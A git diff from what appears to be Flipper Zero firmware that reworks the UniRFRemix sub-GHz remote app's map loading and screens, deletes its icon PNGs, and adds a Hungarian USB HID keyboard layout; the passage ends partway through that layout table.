unirfremix_cfg_set_check(UniRFRemix* app) { FURI_LOG_I(TAG, "OK label: %s", app->ok_label); } - app->file_result = 4; + app->file_result = 2; } flipper_format_free(fff_data_file); @@ -376,7 +362,7 @@ void unirfremix_cfg_set_check(UniRFRemix* app) { if(app->file_blank == 5) { //trigger invalid file error screen - app->file_result = 2; + app->file_result = 1; } else { //check all files //reset app->file_blank to redetermine if error needs to be thrown @@ -471,13 +457,11 @@ void unirfremix_cfg_set_check(UniRFRemix* app) { } if(app->file_blank == 5) { - app->file_result = 2; + app->file_result = 1; } else { - app->file_result = 4; + app->file_result = 2; } } - - string_clear(file_name); } static void unirfremix_end_send(UniRFRemix* app) { @@ -530,7 +514,7 @@ static void unirfremix_send_signal( notification_message(notification, &sequence_blink_magenta_10); printf("Sending..."); fflush(stdout); - furi_delay_ms(300); + furi_delay_ms(333); } furi_record_close("notification"); @@ -549,7 +533,6 @@ static void unirfremix_send_signal( } static void unirfremix_process_signal(UniRFRemix* app, string_t signal) { - furi_mutex_release(app->model_mutex); view_port_update(app->view_port); FURI_LOG_I(TAG, "signal = %s", string_get_cstr(signal)); @@ -596,30 +579,13 @@ static void render_callback(Canvas* canvas, void* ctx) { //setup different canvas settings if(app->file_result == 1) { - //If map is missing - canvas_clear(canvas); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 62, 5, AlignCenter, AlignTop, "Map file is missing!"); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 62, 25, AlignCenter, AlignTop, "Please create"); - canvas_draw_str_aligned(canvas, 62, 35, AlignCenter, AlignTop, "map file."); - canvas_draw_str_aligned(canvas, 62, 60, AlignCenter, AlignBottom, "Hold Back to Exit."); - } else if(app->file_result == 2) { //if map has no valid filenames defined canvas_clear(canvas); canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 62, 5, AlignCenter, AlignTop, "Invalid map file!"); + canvas_draw_str_aligned(canvas, 62, 5, AlignCenter, AlignTop, "Config is incorrect."); canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 62, 25, AlignCenter, AlignTop, "Please reconfigure"); - canvas_draw_str_aligned(canvas, 62, 35, AlignCenter, AlignTop, "your map file."); + canvas_draw_str_aligned(canvas, 62, 30, AlignCenter, AlignTop, "Please configure map."); canvas_draw_str_aligned(canvas, 62, 60, AlignCenter, AlignBottom, "Hold Back to Exit."); - } else if(app->file_result == 3) { - //if map has no valid filenames defined - canvas_clear(canvas); - canvas_set_font(canvas, FontPrimary); - canvas_draw_str_aligned(canvas, 62, 5, AlignCenter, AlignTop, "Config is loading."); - canvas_set_font(canvas, FontSecondary); - canvas_draw_str_aligned(canvas, 62, 35, AlignCenter, AlignTop, "Please wait."); } else { //map found, draw all the things canvas_clear(canvas); @@ -634,45 +600,57 @@ static void render_callback(Canvas* canvas, void* ctx) { //PNGs are located in assets/icons/UniRFRemix before compiliation //Icons for Labels - canvas_draw_icon(canvas, 0, 0, &I_UniRFRemix_LeftAlignedButtons_9x64); + //canvas_draw_icon(canvas, 0, 0, &I_UniRFRemix_LeftAlignedButtons_9x64); + canvas_draw_icon(canvas, 1, 5, &I_ButtonUp_7x4); + canvas_draw_icon(canvas, 1, 15, &I_ButtonDown_7x4); + canvas_draw_icon(canvas, 2, 23, &I_ButtonLeft_4x7); + canvas_draw_icon(canvas, 2, 33, &I_ButtonRight_4x7); + canvas_draw_icon(canvas, 0, 42, &I_Ok_btn_9x9); + canvas_draw_icon(canvas, 0, 53, &I_back_10px); //Labels canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 12, 10, app->up_label); - canvas_draw_str(canvas, 12, 20, app->down_label); - canvas_draw_str(canvas, 12, 30, app->left_label); - canvas_draw_str(canvas, 12, 40, app->right_label); - canvas_draw_str(canvas, 12, 50, app->ok_label); + canvas_draw_str(canvas, 10, 10, app->up_label); + canvas_draw_str(canvas, 10, 20, app->down_label); + canvas_draw_str(canvas, 10, 30, app->left_label); + canvas_draw_str(canvas, 10, 40, app->right_label); + canvas_draw_str(canvas, 10, 50, app->ok_label); - canvas_draw_str_aligned(canvas, 12, 62, AlignLeft, AlignBottom, "Repeat # - Hold to exit"); + canvas_draw_str_aligned( + canvas, 11, 62, AlignLeft, AlignBottom, "Hold=Exit. Tap for Repeat:"); //Status text and indicator - canvas_draw_str_aligned(canvas, 125, 10, AlignRight, AlignBottom, app->send_status); + canvas_draw_str_aligned(canvas, 126, 10, AlignRight, AlignBottom, app->send_status); switch(app->send_status_c) { case 0: - canvas_draw_icon(canvas, 110, 15, &I_UniRFRemix_Outline_14x14); + canvas_draw_icon(canvas, 113, 15, &I_Pin_cell_13x13); break; case 1: - canvas_draw_icon(canvas, 110, 15, &I_UniRFRemix_Left_14x14); + canvas_draw_icon(canvas, 113, 15, &I_Pin_cell_13x13); + canvas_draw_icon(canvas, 116, 17, &I_Pin_arrow_up7x9); break; case 2: - canvas_draw_icon(canvas, 110, 15, &I_UniRFRemix_Right_14x14); + canvas_draw_icon(canvas, 113, 15, &I_Pin_cell_13x13); + canvas_draw_icon(canvas, 116, 17, &I_Pin_arrow_down_7x9); break; case 3: - canvas_draw_icon(canvas, 110, 15, &I_UniRFRemix_Up_14x14); + canvas_draw_icon(canvas, 113, 15, &I_Pin_cell_13x13); + canvas_draw_icon(canvas, 115, 18, &I_Pin_arrow_right_9x7); break; case 4: - canvas_draw_icon(canvas, 110, 15, &I_UniRFRemix_Down_14x14); + canvas_draw_icon(canvas, 113, 15, &I_Pin_cell_13x13); + canvas_draw_icon(canvas, 115, 18, &I_Pin_arrow_left_9x7); break; case 5: - canvas_draw_icon(canvas, 110, 15, &I_UniRFRemix_Center_14x14); + canvas_draw_icon(canvas, 113, 15, &I_Pin_cell_13x13); + canvas_draw_icon(canvas, 116, 18, &I_Pin_star_7x7); break; } //Repeat indicator //canvas_draw_str_aligned(canvas, 125, 40, AlignRight, AlignBottom, "Repeat:"); - canvas_draw_icon(canvas, 115, 39, &I_UniRFRemix_Repeat_12x14); + //canvas_draw_icon(canvas, 115, 39, &I_UniRFRemix_Repeat_12x14); canvas_draw_str_aligned( canvas, 125, 62, AlignRight, AlignBottom, int_to_char(app->repeat)); } @@ -683,7 +661,7 @@ static void render_callback(Canvas* canvas, void* ctx) { static void input_callback(InputEvent* input_event, void* ctx) { UniRFRemix* app = ctx; - furi_message_queue_put(app->input_queue, input_event, FuriWaitForever); + furi_message_queue_put(app->input_queue, input_event, 0); } UniRFRemix* unirfremix_alloc() { @@ -698,7 +676,7 @@ UniRFRemix* unirfremix_alloc() { view_port_input_callback_set(app->view_port, input_callback, app); // Open GUI and register view_port - app->gui = furi_record_open("gui"); + app->gui = furi_record_open(RECORD_GUI); gui_add_view_port(app->gui, app->view_port, GuiLayerFullscreen); return app; @@ -718,8 +696,10 @@ void unirfremix_free(UniRFRemix* app) { string_clear(app->right_l); string_clear(app->ok_l); + string_clear(app->file_path); + gui_remove_view_port(app->gui, app->view_port); - furi_record_close("gui"); + furi_record_close(RECORD_GUI); view_port_free(app->view_port); furi_message_queue_free(app->input_queue); @@ -733,6 +713,8 @@ int32_t unirfremix_app(void* p) { UNUSED(p); UniRFRemix* app = unirfremix_alloc(); + string_init(app->file_path); + //setup variables before population string_init(app->up_file); string_init(app->down_file); @@ -749,12 +731,29 @@ int32_t unirfremix_app(void* p) { app->file_result = 3; - //check map and population variables - unirfremix_cfg_set_check(app); + Storage* storage = furi_record_open("storage"); + if(!storage_simply_mkdir(storage, UNIRFMAP_FOLDER)) { + FURI_LOG_E(TAG, "Could not create folder %s", UNIRFMAP_FOLDER); + } + furi_record_close("storage"); + + string_set_str(app->file_path, UNIRFMAP_FOLDER); + + DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); + bool res = dialog_file_browser_show( + dialogs, app->file_path, app->file_path, UNIRFMAP_EXTENSION, true, &I_sub1_10px, false); + + furi_record_close(RECORD_DIALOGS); + if(!res) { + FURI_LOG_E(TAG, "No file selected"); + } else { + //check map and population variables + unirfremix_cfg_set_check(app, app->file_path); + } bool exit_loop = false; - if(app->file_result == 4) { + if(app->file_result == 2) { FURI_LOG_I( TAG, "U: %s - D: %s - L: %s - R: %s - O: %s ", @@ -793,7 +792,7 @@ int32_t unirfremix_app(void* p) { if(app->processing == 0) { *app->signal = *app->empty; *app->signal = *app->up_file; - app->button = 3; + app->button = 1; app->processing = 1; } } @@ -806,7 +805,7 @@ int32_t unirfremix_app(void* p) { if(app->processing == 0) { *app->signal = *app->empty; *app->signal = *app->down_file; - app->button = 4; + app->button = 2; app->processing = 1; } } @@ -819,7 +818,7 @@ int32_t unirfremix_app(void* p) { if(app->processing == 0) { *app->signal = *app->empty; *app->signal = *app->right_file; - app->button = 1; + app->button = 3; app->processing = 1; } } @@ -832,7 +831,7 @@ int32_t unirfremix_app(void* p) { if(app->processing == 0) { *app->signal = *app->empty; *app->signal = *app->left_file; - app->button = 2; + app->button = 4; app->processing = 1; } } @@ -908,7 +907,7 @@ int32_t unirfremix_app(void* p) { furi_mutex_release(app->model_mutex); view_port_update(app->view_port); } - } else { + } else if(app->file_result == 1) { //refresh screen to update variables before processing main screen or error screens view_port_update(app->view_port); @@ -948,10 +947,12 @@ int32_t unirfremix_app(void* p) { furi_mutex_release(app->model_mutex); view_port_update(app->view_port); } + } else { + furi_mutex_release(app->model_mutex); } // remove & free all stuff created by app unirfremix_free(app); return 0; -} +} \ No newline at end of file diff --git a/assets/icons/UniRFRemix/UniRFRemix_Center-14x14.png b/assets/icons/UniRFRemix/UniRFRemix_Center-14x14.png deleted file mode 100644 index d41a66495a6bc1e308e97112671d73ddc495f5e4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 166 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}37#&FAsQ2p z208K_FyL_7{J(zY+=y9hQTdOrga|f?c^+D@ih*HakDtmUg`d1PKHj+RYIsm+@?P!2 z@Z#pE-mEgQ>$C2yRah2~V0M-Bm&nd$nQ7Jyo)-3Nl~>N2viR!liTkDdEL8s-*gX$u O7lWs(pUXO@geCx08#~tk diff --git a/assets/icons/UniRFRemix/UniRFRemix_Down-14x14.png b/assets/icons/UniRFRemix/UniRFRemix_Down-14x14.png deleted file mode 100644 index efd7181f0a36490d555a6e16df3bf2c457d592f2..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 168 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}NuDl_AsQ36 zP735ZpupkG{qbM;yL|>NTh8g+{C$LJtCR|-qYDGW8N*Aa6Io8$CTvRCnp<+hE&cu0 z!o1+-F!5`1mu<+3o$gh!i0wp3{)ylxUAfV<4X+E-_S+r*UJ$Y|zhIkujl7+h)rISO QfVMGsy85}Sb4q9e00DD6_y7O^ diff --git a/assets/icons/UniRFRemix/UniRFRemix_Left-14x14.png b/assets/icons/UniRFRemix/UniRFRemix_Left-14x14.png deleted file mode 100644 index c64bad5f2f2f43005e57613bf0acf6e743a64c90..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 171 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}sh%#5AsQ3s zPV(eCpuoeNd*y$9Wz{05iNP7qCFZcIvjrU3rn0i~+KWjHjQ)+ML>GG>@0)R>cf0SJ zyFm-HMbFuXKI~b$YhsIaPI|b%ME;Cviq-JoMr6)F8KJa%}03m2|J2P TGp2k4TFBt(>gTe~DWM4fkSaY6 diff --git a/assets/icons/UniRFRemix/UniRFRemix_LeftAlignedButtons_9x64.png b/assets/icons/UniRFRemix/UniRFRemix_LeftAlignedButtons_9x64.png deleted file mode 100644 index d05541e018e05a7ef22c2bdf1996a56a760d8220..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2159 zcmcImTWB0r7~ZJFq*^K|O7v-%`cS23=gej2Mz%H0#w3_YW4e$O1U+-kncXqFbEY$s z>?R_V)_}fOM9~Mqz8N2E#fLyI4@I=a2aAG2F<=p;UMM11wdk3>HIZ#v3NAalGiSf~ z{_p?)@1L`;O;3$&-}czHOeV8^V!SZJzx(;|RNp=PbL_p(zDpOv@k4PY^T5vZ=*hhG z_FyJ+{}I19m&`enHfGf#evlV`T{|NRKFN!-IR`r7 z2rc{L%Mm@eJXOTY^VlNdzP-Xw-R1;UnjoQGtpu@M&x;LSo1dr4k|;DF$$VZMP6G;a z&a^PXA}SbJ8DI#ZU|3m7km9P|9zlVMEXn+>0a>wCXlshldWk$-L_B+@@N_E}zsif{ zBnfRvs?}=Qnwn)%Ns=wglAt0f3g8G3F9ivzgCO43W+>1YM}C<2ED%yg<`F($d?NI4&-QRGOhNTZk|nU8F&> zs~s#XvxLQEb_;EtpEoHaxDzm3h$@Zp5G>IOt#a;|W95dv&>o2>N?256tkUk(bUUJ; zs99OqJ?jUA)#4{oMXeiX0VOmq@~$ZW=74M!p=`sPEt>!uHiS*6!;L^tf;NK{ScHnL znRd?D1ZKqdmhJ@VIQB#kCn&&lqL3H4sI2c3n^F&|(A5Bfx(jktBLERs1)3%!Q#Nzd zRK12Set&`Cg|rgs{Y~EzhB-&4nzn2y*riYbD5pW7yP5?|nV3LF5Xml9HK;eU1@*0%9N9C(flSXW?oW55gjh^O5fI8(yheDXmM-l20_F#d4nv35bzAm1Ext_fDy7( z(?GILP&@ViMS82OxQv1lbvTTKhEr4eXe%u@t)-RiJg-JCwouN z^`2UOvuDR6M+-MrUtT%C`g!KBfj=I-^3atxz9_wPZg%DDhtKw2J$dnW`u*3h9y)g6 z{a&{IN`La;we^)xcZ}UP_|ss}_xGir&wn}n&BMQ(xRm@bbvziS{^jeF^WUzmUHr=F nKYc7&zt;cE^Pl|r&Y7MYA76IP?WvBXe+ec=rwSkJf8prA)VINR diff --git a/assets/icons/UniRFRemix/UniRFRemix_Outline-14x14.png b/assets/icons/UniRFRemix/UniRFRemix_Outline-14x14.png deleted file mode 100644 index 8d135853f5ec8f6905074e662b76e8d2bdd4535b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 170 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}DV{ElAsQ36 zPO|1ZV8G$bd+P7{H-0W0H#4oi^d6~6;+WK;pv1uNO!DO0T9!xIDu1PfUK=WxLI)A-h;@|GLAog4MsTe0*o-BgT3T7g19- SlLv0mMc&zb?oujyK7r9QOE|e5)M(aDB;%e%y`$$+GA`d zyU7VqIrIclIUx>Qkb2@D=mAyYg1Gd8!~qGU`~g*OJ@UNkH5F<@E?Bl_JpSf;-}~X` zJDVFHTs(i}yrL)dP;{{hL2;-G|{^w*E<>D6hO;T?@*$-z_T2i@(JE z-Eueh&|@;uDVL$pCrJiqMOj*&WR&fRQVqo*PJQjs{hu^7=DxPm3UH9EiebEdl#A`7 zjXpctV=mX0-&L0;9uOp=r0OIYrG+=~wJEO$^J>}9)G4Ig^R<=Apt>7us;e>=YDYH_ z!x*a_R~MX;(28!T1QXLR;k1!SJPUg^QR_nkb2*Q^t?v7^F?jN|VOeILVT{LPeQfD6 z9~h?Vx&|f&AqWttI7~}AL1}Sy&d?PF%j2w!WvW(;G?e?LuYuH=4@uV0rbQhmh?p^< znPKX<@@WnXf|H?1(x8iS?EtLQdY?&L^ba#(Y>7hd=S-{}h_t*qH^y1BH`~ugQ%^ZF z#7HCnD?pgpn97E-l*Ld!$B*W9<4xwR=7N?o?@KwFXKHiKq7q9t)oVL(%H_DYUMZ?K zh%POKuR+!b!YxE_pI9E8b_?N-hw%&=Kp}8i($j$@kE6rWK!d>RrA0|oCVE|815tV$ zbI%bDCbYv*1OvjZTVsqqn7)5rwEkYi;f;!Qh?V~(~Plt}4X023lU}S{b6o)Qy!q7&omMst^j)SOh zETCvnJEWS*nHR}Cp-?ArLI=Xg(t)P_qh?i(WFANkF}JE}26pgbJuV=1hxPZdEk3Ph zqgb65okv+!>%PXSBnz(9%keX!cRHOj+VM~T=?Tf7!3r6bW15SV0Yv&gi_3VP_<|ms zEd6we{~x8-VP!*_4g_>gL#v!IsunX#it+D!P2WA$j^=Raan-cxuJF+GXORMR4&C?H z8^`ycb1(P0EB$Mi*^{pp78e&EuHldW+Wz^og@>0PeEIbcmoB{a$L;H%$4l+8dIx|1 u_;LL9%{Nze?!I;Q_L;lC4<8)Aqa2@&?!ENJ=5N(sptrWs{qen~duFbQL9S`u-Lk+<4WXrnW^n{sChumK=w57N>#ps$@6P(ZD&ynqR>F>=Ql-zl QfYvd1y85}Sb4q9e0N5=zEdT%j diff --git a/assets/icons/UniRFRemix/UniRFRemix_Up-14x14.png b/assets/icons/UniRFRemix/UniRFRemix_Up-14x14.png deleted file mode 100644 index 24c349ead5a777f2be43ed17b96ef15b58e20cc4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 165 zcmeAS@N?(olHy`uVBq!ia0vp^d?3uh1|;P@bT0xa#^NA%Cx&(BWL^R}@t!V@AsQ36 z208K_FyLUi{J(zY++7mOubN1zCm$4=GO2|{g^}T?@f(${Qtdejsb^2cY4?2FmdKI;Vst0H}aDT>t<8 diff --git a/firmware/targets/furi_hal_include/furi_hal_usb_hid.h b/firmware/targets/furi_hal_include/furi_hal_usb_hid.h index 997cacc56..7a36965bd 100644 --- a/firmware/targets/furi_hal_include/furi_hal_usb_hid.h +++ b/firmware/targets/furi_hal_include/furi_hal_usb_hid.h @@ -622,9 +622,243 @@ static const uint16_t hid_asciimap_fr[] = { HID_KEYBOARD_NONE, // DEL }; +/** HID keyboard key codes HU by ut1s */ +enum HidKeyboardKeysHU { + HID_KEYBOARD_HU_ERROR_ROLLOVER = 0x01, + HID_KEYBOARD_HU_POST_FAIL = 0x02, + HID_KEYBOARD_HU_ERROR_UNHUFINED = 0x03, + + HID_KEYBOARD_HU_ENTER = 0x28, + HID_KEYBOARD_HU_ESC = 0x29, + HID_KEYBOARD_HU_BACKSPACE = 0x2A, + HID_KEYBOARD_HU_TAB = 0x2B, + HID_KEYBOARD_HU_SPACE = 0x2C, + + HID_KEYBOARD_HU_A = 0x04, + HID_KEYBOARD_HU_B = 0x05, + HID_KEYBOARD_HU_C = 0x06, + HID_KEYBOARD_HU_D = 0x07, + HID_KEYBOARD_HU_E = 0x08, + HID_KEYBOARD_HU_F = 0x09, + HID_KEYBOARD_HU_G = 0x0A, + HID_KEYBOARD_HU_H = 0x0B, + HID_KEYBOARD_HU_I = 0x0C, + HID_KEYBOARD_HU_J = 0x0D, + HID_KEYBOARD_HU_K = 0x0E, + HID_KEYBOARD_HU_L = 0x0F, + HID_KEYBOARD_HU_M = 0x10, + HID_KEYBOARD_HU_N = 0x11, + HID_KEYBOARD_HU_O = 0x12, + HID_KEYBOARD_HU_P = 0x13, + HID_KEYBOARD_HU_Q = 0x14, + HID_KEYBOARD_HU_R = 0x15, + HID_KEYBOARD_HU_S = 0x16, + HID_KEYBOARD_HU_T = 0x17, + HID_KEYBOARD_HU_U = 0x18, + HID_KEYBOARD_HU_V = 0x19, + HID_KEYBOARD_HU_W = 0x1A, + HID_KEYBOARD_HU_X = 0x1B, + HID_KEYBOARD_HU_Y = 0x1D, + HID_KEYBOARD_HU_Z = 0x1C, + + HID_KEYBOARD_HU_1 = 0x1E, + HID_KEYBOARD_HU_2 = 0x1F, + HID_KEYBOARD_HU_3 = 0x20, + HID_KEYBOARD_HU_4 = 0x21, + HID_KEYBOARD_HU_5 = 0x22, + HID_KEYBOARD_HU_6 = 0x23, + HID_KEYBOARD_HU_7 = 0x24, + HID_KEYBOARD_HU_8 = 0x25, + HID_KEYBOARD_HU_9 = 0x26, + HID_KEYBOARD_HU_0 = 0x35, + + HID_KEYBOARD_HU_EXCLAMATION = 0x21, //! + HID_KEYBOARD_HU_DOUBLE_QUOTE = 0x1F, //" + HID_KEYBOARD_HU_DOLLAR = 0x33, //$ + HID_KEYBOARD_HU_PERCENT = 0x22, //% + HID_KEYBOARD_HU_AND = 0x06, //& + HID_KEYBOARD_HU_SINGLE_QUOTE = 0x1E, //tocheck ' + HID_KEYBOARD_HU_LEFT_PARENTHESIS = 0x25, //( + HID_KEYBOARD_HU_RIGHT_PARENTHESIS = 0x26, //) + HID_KEYBOARD_HU_STAR = 0x38, //* + HID_KEYBOARD_HU_EQUAL = 0x24, //= + HID_KEYBOARD_HU_COMMA = 0x36, //, + HID_KEYBOARD_HU_DASH = 0x38, // - + HID_KEYBOARD_HU_SEMI_COLON = 0x36, // ; + HID_KEYBOARD_HU_DOUBLE_POINTS = 0x37, //: + HID_KEYBOARD_HU_SMALLER = 0x64, //todo < + HID_KEYBOARD_HU_UNDERSCORE = 0x38, //_ + HID_KEYBOARD_HU_CIRCUMFLEX = 0x20, //tocheck ^ + HID_KEYBOARD_HU_BACKTICK = 0x24, // ` + + HID_KEYBOARD_HU_CAPS_LOCK = 0xC1, + HID_KEYBOARD_HU_F1 = 0xC2, + HID_KEYBOARD_HU_F2 = 0xC3, + HID_KEYBOARD_HU_F3 = 0xC4, + HID_KEYBOARD_HU_F4 = 0xC5, + HID_KEYBOARD_HU_F5 = 0xC6, + HID_KEYBOARD_HU_F6 = 0xC7, + HID_KEYBOARD_HU_F7 = 0xC8, + HID_KEYBOARD_HU_F8 = 0xC9, + HID_KEYBOARD_HU_F9 = 0xCA, + HID_KEYBOARD_HU_F10 = 0xCB, + HID_KEYBOARD_HU_F11 = 0xCC, + HID_KEYBOARD_HU_F12 = 0xCD, + HID_KEYBOARD_HU_PRINT = 0x63, + HID_KEYBOARD_HU_SCROLL_LOCK = 0x47, + HID_KEYBOARD_HU_PAUSE = 0x48, + HID_KEYBOARD_HU_INSERT = 0xD1, + HID_KEYBOARD_HU_HOME = 0xD2, + HID_KEYBOARD_HU_PAGE_UP = 0xD3, + HID_KEYBOARD_HU_DELETE = 0xD4, + HID_KEYBOARD_HU_END = 0xD5, + HID_KEYBOARD_HU_PAGE_DOWN = 0xD6, + HID_KEYBOARD_HU_RIGHT_ARROW = 0xD7, + HID_KEYBOARD_HU_LEFT_ARROW = 0xD8, + HID_KEYBOARD_HU_DOWN_ARROW = 0xD9, + HID_KEYBOARD_HU_UP_ARROW = 0xDA, + HID_KEYBOARD_HU_NUM_LOCK = 0x53, + HID_KEYBOARD_HU_NON_US = 0x64, + HID_KEYBOARD_HU_APPLICATION = 0x65, + + HID_KEYBOARD_HU_SHARP_SS = 0x36, +}; + +static const uint16_t hid_asciimap_hu[] = { + HID_KEYBOARD_NONE, // NUL + HID_KEYBOARD_NONE, // SOH + HID_KEYBOARD_NONE, // STX + HID_KEYBOARD_NONE, // ETX + HID_KEYBOARD_NONE, // EOT + HID_KEYBOARD_NONE, // ENQ + HID_KEYBOARD_NONE, // ACK + HID_KEYBOARD_NONE, // BEL + HID_KEYBOARD_HU_BACKSPACE, // BS Backspace + HID_KEYBOARD_HU_TAB, // TAB Tab + HID_KEYBOARD_HU_ENTER, // LF Enter + HID_KEYBOARD_NONE, // VT + HID_KEYBOARD_NONE, // FF + HID_KEYBOARD_NONE, // CR + HID_KEYBOARD_NONE, // SO + HID_KEYBOARD_NONE, // SI + HID_KEYBOARD_NONE, // DEL + HID_KEYBOARD_NONE, // DC1 + HID_KEYBOARD_NONE, // DC2 + HID_KEYBOARD_NONE, // DC3 + HID_KEYBOARD_NONE, // DC4 + HID_KEYBOARD_NONE, // NAK + HID_KEYBOARD_NONE, // SYN + HID_KEYBOARD_NONE, // ETB + HID_KEYBOARD_NONE, // CAN + HID_KEYBOARD_NONE, // EM + HID_KEYBOARD_NONE, // SUB + HID_KEYBOARD_NONE, // ESC + HID_KEYBOARD_NONE, // FS + HID_KEYBOARD_NONE, // GS + HID_KEYBOARD_NONE, // RS + HID_KEYBOARD_NONE, // US + HID_KEYBOARD_HU_SPACE, // ' ' Space + HID_KEYBOARD_HU_EXCLAMATION | KEY_MOD_LEFT_SHIFT, // ! + HID_KEYBOARD_HU_DOUBLE_QUOTE | KEY_MOD_LEFT_SHIFT, // " + HID_KEYBOARD_HU_X | KEY_MOD_RIGHT_ALT, // # + HID_KEYBOARD_HU_DOLLAR | KEY_MOD_RIGHT_ALT, // $ + HID_KEYBOARD_HU_PERCENT | KEY_MOD_LEFT_SHIFT, // % + HID_KEYBOARD_HU_AND | KEY_MOD_RIGHT_ALT, // & + HID_KEYBOARD_HU_SINGLE_QUOTE | KEY_MOD_LEFT_SHIFT, // ' + HID_KEYBOARD_HU_LEFT_PARENTHESIS | KEY_MOD_LEFT_SHIFT, // ( + HID_KEYBOARD_HU_RIGHT_PARENTHESIS | KEY_MOD_LEFT_SHIFT, // ) + HID_KEYBOARD_HU_STAR | KEY_MOD_RIGHT_ALT, // * + HID_KEYBOARD_HU_3 | KEY_MOD_LEFT_SHIFT, // + + HID_KEYBOARD_HU_COMMA, // , + HID_KEYBOARD_HU_DASH, // - + HID_KEYBOARD_HU_DOUBLE_POINTS, // . + HID_KEYBOARD_HU_6 | KEY_MOD_LEFT_SHIFT, // / + HID_KEYBOARD_HU_0, // 0 + HID_KEYBOARD_HU_1, // 1 + HID_KEYBOARD_HU_2, // 2 + HID_KEYBOARD_HU_3, // 3 + HID_KEYBOARD_HU_4, // 4 + HID_KEYBOARD_HU_5, // 5 + HID_KEYBOARD_HU_6, // 6 + HID_KEYBOARD_HU_7, // 7 + HID_KEYBOARD_HU_8, // 8 + HID_KEYBOARD_HU_9, // 9 + HID_KEYBOARD_HU_DOUBLE_POINTS | KEY_MOD_LEFT_SHIFT, // : + HID_KEYBOARD_HU_SEMI_COLON | KEY_MOD_RIGHT_ALT, // ; + HID_KEYBOARD_HU_SMALLER | KEY_MOD_RIGHT_ALT, // < + HID_KEYBOARD_HU_EQUAL | KEY_MOD_LEFT_SHIFT, // = + HID_KEYBOARD_HU_Y | KEY_MOD_RIGHT_ALT, // > + HID_KEYBOARD_HU_SHARP_SS | KEY_MOD_LEFT_SHIFT, // ? + HID_KEYBOARD_HU_V | KEY_MOD_RIGHT_ALT, // @ + HID_KEYBOARD_HU_A | KEY_MOD_LEFT_SHIFT, // A + HID_KEYBOARD_HU_B | KEY_MOD_LEFT_SHIFT, // B + HID_KEYBOARD_HU_C | KEY_MOD_LEFT_SHIFT, // C + HID_KEYBOARD_HU_D | KEY_MOD_LEFT_SHIFT, // D + HID_KEYBOARD_HU_E | KEY_MOD_LEFT_SHIFT, // E + HID_KEYBOARD_HU_F | KEY_MOD_LEFT_SHIFT, // F + HID_KEYBOARD_HU_G | KEY_MOD_LEFT_SHIFT, // G + HID_KEYBOARD_HU_H | KEY_MOD_LEFT_SHIFT, // H + HID_KEYBOARD_HU_I | KEY_MOD_LEFT_SHIFT, // I + HID_KEYBOARD_HU_J | KEY_MOD_LEFT_SHIFT, // J + HID_KEYBOARD_HU_K | KEY_MOD_LEFT_SHIFT, // K + HID_KEYBOARD_HU_L | KEY_MOD_LEFT_SHIFT, // L + HID_KEYBOARD_HU_M | KEY_MOD_LEFT_SHIFT, // M + HID_KEYBOARD_HU_N | KEY_MOD_LEFT_SHIFT, // N + HID_KEYBOARD_HU_O | KEY_MOD_LEFT_SHIFT, // O + HID_KEYBOARD_HU_P | KEY_MOD_LEFT_SHIFT, // P + HID_KEYBOARD_HU_Q | KEY_MOD_LEFT_SHIFT, // Q + HID_KEYBOARD_HU_R | KEY_MOD_LEFT_SHIFT, // R + HID_KEYBOARD_HU_S | KEY_MOD_LEFT_SHIFT, // S + HID_KEYBOARD_HU_T | KEY_MOD_LEFT_SHIFT, // T + HID_KEYBOARD_HU_U | KEY_MOD_LEFT_SHIFT, // U + HID_KEYBOARD_HU_V | KEY_MOD_LEFT_SHIFT, // V + HID_KEYBOARD_HU_W | KEY_MOD_LEFT_SHIFT, // W + HID_KEYBOARD_HU_X | KEY_MOD_LEFT_SHIFT, // X + HID_KEYBOARD_HU_Y | KEY_MOD_LEFT_SHIFT, // Y + HID_KEYBOARD_HU_Z | KEY_MOD_LEFT_SHIFT, // Z + HID_KEYBOARD_HU_F | KEY_MOD_RIGHT_ALT, // [ + HID_KEYBOARD_HU_Q | KEY_MOD_RIGHT_ALT, // bslash + HID_KEYBOARD_HU_G | KEY_MOD_RIGHT_ALT, // ] + HID_KEYBOARD_HU_CIRCUMFLEX | KEY_MOD_RIGHT_ALT, // ^ + HID_KEYBOARD_HU_UNDERSCORE | KEY_MOD_LEFT_SHIFT, // _ + HID_KEYBOARD_HU_BACKTICK | KEY_MOD_RIGHT_ALT, // ` + HID_KEYBOARD_HU_A, // a + HID_KEYBOARD_HU_B, // b + HID_KEYBOARD_HU_C, // c + HID_KEYBOARD_HU_D, // d + HID_KEYBOARD_HU_E, // e + HID_KEYBOARD_HU_F, // f + HID_KEYBOARD_HU_G, // g + HID_KEYBOARD_HU_H, // h + HID_KEYBOARD_HU_I, // i + HID_KEYBOARD_HU_J, // j + HID_KEYBOARD_HU_K, // k + HID_KEYBOARD_HU_L, // l + HID_KEYBOARD_HU_M, // m + HID_KEYBOARD_HU_N, // n + HID_KEYBOARD_HU_O, // o + HID_KEYBOARD_HU_P, // p + HID_KEYBOARD_HU_Q, // q + HID_KEYBOARD_HU_R, // r + HID_KEYBOARD_HU_S, // s + HID_KEYBOARD_HU_T, // t + HID_KEYBOARD_HU_U, // u + HID_KEYBOARD_HU_V, // v + HID_KEYBOARD_HU_W, // w + HID_KEYBOARD_HU_X, // x + HID_KEYBOARD_HU_Y, // y + HID_KEYBOARD_HU_Z, // z + HID_KEYBOARD_HU_B | KEY_MOD_RIGHT_ALT, // { + 